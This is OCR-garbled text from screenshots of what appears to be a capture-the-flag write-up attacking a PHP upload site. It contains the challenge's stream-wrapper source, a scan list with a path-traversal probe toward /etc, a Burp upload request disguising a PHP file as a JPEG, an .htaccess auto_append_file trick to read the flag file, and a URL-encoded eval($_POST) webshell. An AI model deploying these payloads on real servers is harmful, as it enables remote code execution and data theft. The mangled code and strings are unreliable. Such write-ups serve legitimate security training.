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qlass master

private $path;
private $name:

function _ construet ()

}

function stream_open ($path)

if (!preg_mateh(" /(%) /(. *)$/s", $path, $array,0,9))
return 1

$a=$array[1];

parse_str ($array[2], $array) ;

if(isset (Sarray[’path' 1))

$this—rpath=$arrav[’ path’ ];
}
else

return 1:
if(isset ($array[’ name’ 1))

$this—rname=$array[’ name’ ]:
}
else

return 1:
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class master

L7

L

private $path;
private $name;

function _ construct()

{
L




{

if(!preg _match( ,$path, $array,0,9))
return 1;

$a=%$array[1];

parse_str($array[2],$array);

if(isset($array| 1)
{
$this->path=%$array[
)i
else

return 1;
if(isset($array|
{
$this->name=%$array[
)i
else

return 1;

if($a
{
return $this->upload($this->path,$this
)i
elseif(%a
{
return $this->search($this->path,$this
)i
else
return 1;
}
function upload($path,$name)
{
if(!preg_match( »$path) | |empty ($_FILES[$name][
return 1;

$filename=$_FILES[$name][
echo $filename;

$file=file_get contents($_FILES[$name][

$file=str_replace( 5 ,$file);
$file=str_replace(urldecode( ) ,$file);
$file=str_replace( 5 ,$file);
$file=str_replace( F ,$file);
$file=str_replace(’.
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1 http: /72 500
2 http://220. 249 52 13! [ fuploads/ 200
3 http://220. 249, 52, 13 [ findex. html 200
4 http: //220. 249 5213 flogin html 200
5 http: //220. 249 52 13 57/ static/ 200
(5 http://220. 249, 52. 133:32357/1ogout. php 200
7 http: //220. 249.52. 133:32357Lozin. php 200
g http://220. 249, 652, 133 57/ /register, php 200
a http: /7220, 249, 52. 133 357/ search. php 200
10 http://220. 249.52. 133:32357/shop. php 200
11 http://220. 249, 52, 133:32357/index. phpPchemin=  %2f  %2f . %2f  %2f .%2f  %2fu2fetc 200
12 http: /220,249, 52. 133 7/index. php 200
13 http://220.249 52,133 7/info. php 200
14 http://220. 249,62, 133 7/upload. php 200
15 http://220.249 52, 133 T/upload. php7action=upfile 200
16 http://220. 249 52 133 357/ 1ndex. php7option=com_userdrview=resetdl avout=confirm 200
17 http://220. 249,62, 133 T/uzer. php 200
18 http://220.249 52, 133 T/uploadsz/index. html 200
19 http://220. 249 62 133 7/index. php?==admin—login 200
20 http: //220. 249 62 367/ 1ndex. php 200 v
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CREATE DATABASE “sshop DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci:

USE “sszhop

CREATE TABLE sshop . users (
"id” int(11) NOT NULL AUTO_INCREMENT,
“username varchar(255) NULL DEFAULT NULL,
‘mail’ wvarchar(255) NULL DEFAULT NULL,
"password varchar (255) NULL DEFAULT NULL,
"point  wvarchar(255) NULL DEFAULT NULL,
“shopear varchar(255) NULL DEFAULT NULL,
PRIMARY KEY ( id)

) DEFAULT CHARSET=utf8 COLLATE=utf8_general ci:
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Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz

‘ 7) 220.249.52.133:33728/up X | Burp Project Intruder Repeater Window Help
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[ Enable Post dat
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[POST /upload.php HTTP/1.1

Host: 220.249.52.133:33728

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html application/xhtml+xmlapplication/xml;q=09,*/*,q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en:q=0.3

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=—————————— 200941185421540
Content-Length: 893663

Referer: http://220.249.52.133:33728/upload.php

Connection: close

Upgrade-Insecure-Requests: 1

77777777777777777777777777777 200941185421540
Content-Disposition: form-data; name="filename"; filename="4|php"
Content-Type: image/jpeg
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INT ~v| = & SQL- XSS Encryption- Encoding- Other-
& Load URL
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[] Enable Post data [ ] Enable Referrer
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php_value auto_append_file /home/hiahiahia_flag
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INT ~| = @ SQL- XSS- Encryption= Encoding= Other~
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@ Load URL
% split URL

k Execute

[] Enable Post data [ ] Enable Referrer

%3C%3Fphp%0Afunction%20a%28%29%0A% 7B%0A%20%20%09return%20%22/*asdas*/%221%24 POST%5B%27a%27%5D%3B%0A% 7 D%0Aeval%28a%28%29
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if(!preg match('/(.*)\/(.*)$/s",$path,$array,0,9))

return 1;
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